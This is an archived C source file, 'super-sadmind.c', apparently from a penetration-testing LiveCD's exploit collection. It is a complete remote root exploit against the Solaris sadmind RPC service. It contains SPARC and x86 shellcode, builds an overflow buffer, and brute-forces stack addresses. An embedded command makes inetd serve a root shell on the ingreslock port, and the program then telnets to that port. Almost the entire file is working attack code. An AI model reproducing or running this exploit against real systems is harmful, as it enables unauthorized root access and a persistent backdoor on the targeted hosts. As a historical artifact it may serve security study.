home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / super-sadmind.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  523 lines
  1. /*************************************************************************\
  2. **                                                                       **
  3. **    Super Solaris sadmin Exploit - Based on sadminex by Cheez Whiz     **
  4. **    by optyx <optyx@uberhax0r.net>                                     **
  5. **    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
  6. **                                                                       **
  7. \*************************************************************************/
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <string.h>
  13. #include <rpc/rpc.h>
  14.  
  15. char shellsparc[] =    "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
  16.                "\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
  17.                "\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
  18.                "\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
  19.                "\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
  20.                "\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
  21.                "\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  22.                "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  23.                "\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
  24.                "\x2d\x63\xff";
  25.  
  26. char shellx86[] =      "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
  27.                "\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
  28.                "\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
  29.                "\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
  30.                "\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
  31.                "\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
  32.                "\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  33.                "\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
  34.                "\x2f\x73\x68\xff\x2d\x63\xff";
  35.                
  36.  
  37. int buflen[]     = { 1076, 1056 };
  38. int addrlen[]      = { 560, 8 };
  39. int lens[]     = { 84, 76 };
  40. int offset[]     = { 688, 572 };
  41. int alignment[]     = { 4, 0 };
  42. long int nops[]     = { 0x801bc00f, 0x90 };
  43. int junks[]     = { 512, 536 };
  44. char command[]      = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
  45.                "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
  46. unsigned long int sp[]    = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
  47.  
  48. #define FRAMELEN1 608
  49. #define FRAMELEN2 4200
  50.  
  51. #define NETMGT_PROG 100232
  52. #define NETMGT_VERS 10
  53. #define NETMGT_PROC_PING 0
  54. #define NETMGT_PROC_SERVICE 1
  55.  
  56. #define NETMGT_UDP_PING_TIMEOUT 30
  57. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  58. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  59. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  60.  
  61. #define NETMGT_HEADER_TYPE 6
  62. #define NETMGT_ARG_INT 3
  63. #define NETMGT_ARG_STRING 9
  64. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  65.  
  66. #define FW_VERSION "VERSION"
  67. #define CLIENT_DOMAIN "CLIENT_DOMAIN"
  68. #define FENCE "FENCE"
  69.  
  70. struct nm_send_header {
  71.     struct timeval timeval1;
  72.     struct timeval timeval2;
  73.     struct timeval timeval3;
  74.     unsigned int uint1;
  75.     unsigned int uint2;
  76.     unsigned int uint3;
  77.     unsigned int uint4;
  78.     unsigned int uint5;
  79.     struct in_addr inaddr1;
  80.     struct in_addr inaddr2;
  81.     unsigned long ulong1;
  82.     unsigned long ulong2;
  83.     struct in_addr inaddr3;
  84.     unsigned long ulong3;
  85.     unsigned long ulong4;
  86.     unsigned long ulong5;
  87.     struct timeval timeval4;
  88.     unsigned int uint6;
  89.     struct timeval timeval5;
  90.     char *string1;
  91.     char *string2;
  92.     char *string3;
  93.     unsigned int uint7;
  94. };
  95.  
  96. struct nm_send_arg_int {
  97.     char *string1;
  98.     unsigned int uint1;
  99.     unsigned int uint2;
  100.     int int1;
  101.     unsigned int uint3;
  102.     unsigned int uint4;
  103. };
  104.  
  105. struct nm_send_arg_string {
  106.     char *string1;
  107.     unsigned int uint1;
  108.     unsigned int uint2;
  109.     char *string2;
  110.     unsigned int uint3;
  111.     unsigned int uint4;
  112. };
  113.  
  114. struct nm_send_footer {
  115.     char *string1;
  116. };
  117.  
  118. struct nm_send {
  119.     struct nm_send_header header;
  120.     struct nm_send_arg_int version;
  121.     struct nm_send_arg_string string;
  122.     struct nm_send_arg_int fence;
  123.     struct nm_send_footer footer;
  124. };
  125.  
  126. struct nm_reply {
  127.     unsigned int uint1;
  128.     unsigned int uint2;
  129.     char *string1;
  130. };
  131.  
  132. bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  133. {
  134.     char *addr;
  135.     size_t size = sizeof(struct in_addr);
  136.  
  137.     if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
  138.         return (FALSE);
  139.     if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
  140.         return (FALSE);
  141.     if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
  142.         return (FALSE);
  143.     if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
  144.         return (FALSE);
  145.     if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
  146.         return (FALSE);
  147.     if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
  148.         return (FALSE);
  149.     if(!xdr_u_int(xdrs, &objp->uint1))
  150.         return (FALSE);
  151.     if(!xdr_u_int(xdrs, &objp->uint2))
  152.         return (FALSE);
  153.     if(!xdr_u_int(xdrs, &objp->uint3))
  154.         return (FALSE);
  155.     if(!xdr_u_int(xdrs, &objp->uint4))
  156.         return (FALSE);
  157.     if(!xdr_u_int(xdrs, &objp->uint5))
  158.         return (FALSE);
  159.     addr = (char *) &objp->inaddr1.s_addr;
  160.     if(!xdr_bytes(xdrs, &addr, &size, size))
  161.         return (FALSE);
  162.     if(!xdr_u_long(xdrs, &objp->ulong1))
  163.         return (FALSE);
  164.     if(!xdr_u_long(xdrs, &objp->ulong2))
  165.         return (FALSE);
  166.     if(!xdr_u_long(xdrs, &objp->ulong3))
  167.         return (FALSE);
  168.     if(!xdr_u_long(xdrs, &objp->ulong4))
  169.         return (FALSE);
  170.     if(!xdr_u_long(xdrs, &objp->ulong5))
  171.         return (FALSE);
  172.     if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
  173.         return (FALSE);
  174.     if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
  175.         return (FALSE);
  176.     if(!xdr_u_int(xdrs, &objp->uint6))
  177.         return (FALSE);
  178.     if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
  179.         return (FALSE);
  180.     if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
  181.         return (FALSE);
  182.     if(!xdr_wrapstring(xdrs, &objp->string1))
  183.         return (FALSE);
  184.     if(!xdr_wrapstring(xdrs, &objp->string2))
  185.         return (FALSE);
  186.     if(!xdr_wrapstring(xdrs, &objp->string3))
  187.         return (FALSE);
  188.     if(!xdr_u_int(xdrs, &objp->uint7))
  189.         return (FALSE);
  190.     return (TRUE);
  191. }
  192.  
  193. bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  194. {
  195.     if(!xdr_wrapstring(xdrs, &objp->string1))
  196.         return (FALSE);
  197.     if(!xdr_u_int(xdrs, &objp->uint1))
  198.         return (FALSE);
  199.     if(!xdr_u_int(xdrs, &objp->uint2))
  200.         return (FALSE);
  201.     if(!xdr_int(xdrs, &objp->int1))
  202.         return (FALSE);
  203.     if(!xdr_u_int(xdrs, &objp->uint3))
  204.         return (FALSE);
  205.     if(!xdr_u_int(xdrs, &objp->uint4))
  206.         return (FALSE);
  207.     return (TRUE);
  208. }
  209.  
  210. bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  211. {
  212.     if(!xdr_wrapstring(xdrs, &objp->string1))
  213.         return (FALSE);
  214.     if(!xdr_u_int(xdrs, &objp->uint1))
  215.         return (FALSE);
  216.     if(!xdr_u_int(xdrs, &objp->uint2))
  217.         return (FALSE);
  218.     if(!xdr_wrapstring(xdrs, &objp->string2))
  219.         return (FALSE);
  220.     if(!xdr_u_int(xdrs, &objp->uint3))
  221.         return (FALSE);
  222.     if(!xdr_u_int(xdrs, &objp->uint4))
  223.         return (FALSE);
  224.     return (TRUE);
  225. }
  226.  
  227. bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  228. {
  229.     if(!xdr_wrapstring(xdrs, &objp->string1))
  230.         return (FALSE);
  231.     return (TRUE);
  232. }
  233.  
  234. bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  235. {
  236.     if(!xdr_nm_send_header(xdrs, &objp->header))
  237.         return (FALSE);
  238.     if(!xdr_nm_send_arg_int(xdrs, &objp->version))
  239.         return (FALSE);
  240.     if(!xdr_nm_send_arg_string(xdrs, &objp->string))
  241.         return (FALSE);
  242.     if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
  243.         return (FALSE);
  244.     if(!xdr_nm_send_footer(xdrs, &objp->footer))
  245.         return (FALSE);
  246.     return (TRUE);
  247. }
  248.  
  249. bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  250. {
  251.     if(!xdr_u_int(xdrs, &objp->uint1))
  252.         return (FALSE);
  253.     if(!xdr_u_int(xdrs, &objp->uint2))
  254.         return (FALSE);
  255.     if(!xdr_wrapstring(xdrs, &objp->string1))
  256.         return (FALSE);
  257.     return (TRUE);
  258. }
  259.  
  260. void usage(char *prog)
  261. {
  262.     fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
  263.     fprintf(stderr, " [-i increment] [-p]\n");
  264.     fprintf(stderr, "\tarchitectures:\n");
  265.     fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
  266.     fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
  267.     fprintf(stderr, "\t2 - Solaris x86   2.6\n");
  268.     fprintf(stderr, "\t3 - Solaris x86   2.7 (7.0)\n\n");
  269.  
  270.     exit(-1);    
  271. }
  272.  
  273. int exp(char *host, int arch, unsigned long int sp, int pinging)
  274. {
  275.     CLIENT *cl;
  276.     struct nm_send send;
  277.     struct nm_reply reply;
  278.     struct timeval tm;
  279.     enum clnt_stat stat;
  280.     int c, i, len, slen, clen, junk, a;
  281.     char *cp, *buf;
  282.     unsigned long int addr, fp;
  283.     
  284.     a = (int) arch / 2;    
  285.     buf = (char *) malloc(buflen[a] + 1);
  286.  
  287.     if(a)
  288.     {
  289.         /* Solaris x86 */
  290.         memset(buf, nops[a], buflen[a]);
  291.         junk = junks[arch - 2];
  292.         junk &= 0xfffffffc;
  293.  
  294.         for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++) 
  295.         {
  296.             *cp++ = (sp >>  0) & 0xff;
  297.             *cp++ = (sp >>  8) & 0xff;
  298.             *cp++ = (sp >> 16) & 0xff;
  299.             *cp++ = (sp >> 24) & 0xff;
  300.         }
  301.  
  302.         addr = sp + offset[a];
  303.  
  304.         for (i = 0; i < addrlen[a] / 4; i++) 
  305.         {
  306.             *cp++ = (addr >>  0) & 0xff;
  307.             *cp++ = (addr >>  8) & 0xff;
  308.             *cp++ = (addr >> 16) & 0xff;
  309.             *cp++ = (addr >> 24) & 0xff;
  310.         }
  311.  
  312.         slen = strlen(shellx86); 
  313.         clen = strlen(command);
  314.         len = clen; 
  315.         len++; 
  316.         len = -len;
  317.         shellx86[lens[a]+0] = (len >>  0) & 0xff;
  318.         shellx86[lens[a]+1] = (len >>  8) & 0xff;
  319.         shellx86[lens[a]+2] = (len >> 16) & 0xff;
  320.         shellx86[lens[a]+3] = (len >> 24) & 0xff;
  321.         cp = buf + buflen[a] - 1 - clen - slen;
  322.         memcpy(cp, shellx86, slen); 
  323.         cp += slen;
  324.         memcpy(cp, command, clen); 
  325.         cp += clen;
  326.         *cp = '\xff';
  327.     }
  328.     else
  329.     {
  330.         /* Solaris SPARC */
  331.         memset(buf, '\xff', buflen[a]);
  332.         fp = sp + FRAMELEN1 + FRAMELEN2;
  333.         fp &= 0xfffffff8;
  334.         addr = sp + offset[a];
  335.         addr &= 0xfffffffc;
  336.  
  337.         for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
  338.         {
  339.             *cp++ = (fp >> 24) & 0xff;
  340.             *cp++ = (fp >> 16) & 0xff;
  341.             *cp++ = (fp >>  8) & 0xff;
  342.             *cp++ = (fp >>  0) & 0xff;
  343.             *cp++ = (addr >> 24) & 0xff;
  344.             *cp++ = (addr >> 16) & 0xff;
  345.             *cp++ = (addr >>  8) & 0xff;
  346.             *cp++ = (addr >>  0) & 0xff;
  347.         }
  348.         
  349.         slen = strlen(shellsparc);
  350.         clen = strlen(command);
  351.         len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
  352.         len &= 0xfffffffc;
  353.         for(i = 0; i < lens[a] / 4; i++)
  354.         {
  355.             *cp++ = (nops[a] >> 24) & 0xff;
  356.             *cp++ = (nops[a] >> 16) & 0xff;
  357.             *cp++ = (nops[a] >>  8) & 0xff;
  358.             *cp++ = (nops[a] >>  0) & 0xff;
  359.         }
  360.         len = clen;
  361.         len++;
  362.         len = -len;
  363.         shellsparc[lens[a]+0] = (len >> 24) & 0xff;
  364.         shellsparc[lens[a]+1] = (len >> 16) & 0xff;
  365.         shellsparc[lens[a]+2] = (len >>  8) & 0xff;
  366.         shellsparc[lens[a]+3] = (len >>  0) & 0xff;
  367.         memcpy(cp, shellsparc, slen);
  368.         cp += slen;
  369.         memcpy(cp, command, clen);
  370.     }
  371.  
  372.     buf[buflen[a]] = '\0';
  373.     memset(&send, 0, sizeof(struct nm_send));
  374.     send.header.uint2 = NETMGT_HEADER_TYPE;
  375.     send.header.string1 = "";
  376.     send.header.string2 = "";
  377.     send.header.string3 = "";
  378.     send.header.uint7 =
  379.         strlen(FW_VERSION) + 1 +
  380.         (4 * sizeof(unsigned int)) + sizeof(int) +
  381.         strlen(CLIENT_DOMAIN) + 1 +
  382.         (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  383.         strlen(FENCE) + 1 +
  384.         (4 * sizeof(unsigned int)) + sizeof(int) +
  385.         strlen(NETMGT_ENDOFARGS) + 1;
  386.     send.version.string1 = FW_VERSION;
  387.     send.version.uint1 = NETMGT_ARG_INT;
  388.     send.version.uint2 = sizeof(int);
  389.     send.version.int1 = 1;
  390.     send.string.string1 = CLIENT_DOMAIN;
  391.     send.string.uint1 = NETMGT_ARG_STRING;
  392.     send.string.uint2 = strlen(buf);
  393.     send.string.string2 = buf;
  394.     send.fence.string1 = FENCE;
  395.     send.fence.uint1 = NETMGT_ARG_INT;
  396.     send.fence.uint2 = sizeof(int);
  397.     send.fence.int1 = 666;
  398.     send.footer.string1 = NETMGT_ENDOFARGS;
  399.     cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");
  400.  
  401.     if (cl == NULL) 
  402.     {
  403.         clnt_pcreateerror("clnt_create");
  404.         return 0;
  405.     }
  406.  
  407.     cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  408.  
  409.     if (!pinging) 
  410.     {
  411.         tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; 
  412.         tm.tv_usec = 0;
  413.  
  414.         if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
  415.         {
  416.             fprintf(stderr, "unable to set timeout\n");
  417.             exit(1);
  418.         }
  419.  
  420.         tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; 
  421.         tm.tv_usec = 0;
  422.  
  423.         if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
  424.         {
  425.             fprintf(stderr, "unable to set timeout\n");
  426.             exit(1);
  427.         }
  428.  
  429.         stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  430.             xdr_nm_send, (caddr_t) &send,
  431.             xdr_nm_reply, (caddr_t) &reply, tm);
  432.  
  433.         if (stat != RPC_SUCCESS) 
  434.         {
  435.             clnt_perror(cl, "clnt_call");
  436.             fprintf(stdout, "now check if exploit worked;\n");
  437.             return 0;
  438.         }
  439.  
  440.         fprintf(stderr, "exploit failed; "
  441.             "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  442.             reply.uint1, reply.uint2, reply.string1);
  443.         clnt_destroy(cl);
  444.         exit(1);
  445.     } 
  446.     else 
  447.     {
  448.  
  449.         tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; 
  450.         tm.tv_usec = 0;
  451.  
  452.         if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
  453.         {
  454.             fprintf(stderr, "unable to set timeout\n");
  455.             exit(1);
  456.         }
  457.  
  458.         tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; 
  459.         tm.tv_usec = 0;
  460.  
  461.         if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
  462.         {
  463.             fprintf(stderr, "unable to set timeout\n");
  464.             exit(1);
  465.         }
  466.  
  467.         stat = clnt_call(cl, NETMGT_PROC_PING,
  468.             xdr_void, NULL,
  469.             xdr_void, NULL, tm);
  470.  
  471.         if (stat != RPC_SUCCESS) 
  472.         {
  473.             clnt_perror(cl, "clnt_call");
  474.             exit(1);
  475.         }
  476.  
  477.         clnt_destroy(cl);
  478.         return 0;
  479.     }
  480. }
  481.  
  482. int main(int argc, char *argv[])
  483. {
  484.     int i, arch;
  485.     char *host = "";
  486.     int pinging = 0, inc = 4, size = 2048;
  487.     unsigned long int addr;
  488.  
  489.     for(i=0;i<argc;i++)
  490.     {
  491.         if(!strcmp(argv[i], "-t"))
  492.             host = argv[i+1];    
  493.         if(!strcmp(argv[i], "-a"))
  494.             arch = atoi(argv[i+1]);
  495.         if(!strcmp(argv[i], "-i"))
  496.             inc = atoi(argv[i+1]);
  497.         if(!strcmp(argv[i], "-s"))
  498.             size = atoi(argv[i+1]);    
  499.         if(!strcmp(argv[i], "-p"))
  500.             pinging = 1;
  501.     }
  502.  
  503.     if(arch > 3 || arch < 0)
  504.         usage(argv[0]);
  505.     if(size < 0)
  506.         usage(argv[0]);
  507.     if(inc < 0)
  508.         usage(argv[0]);
  509.  
  510.     for(i = 0; i < size; i+=inc)
  511.     {
  512.         addr = sp[arch] + i;
  513.         exp(host, arch, addr, pinging); 
  514.         addr = sp[arch] - i;
  515.         exp(host, arch, addr, pinging);
  516.     }
  517.  
  518.     execl("telnet", host, "ingreslock");
  519.  
  520.     return 0;
  521. }
  522.  
  523.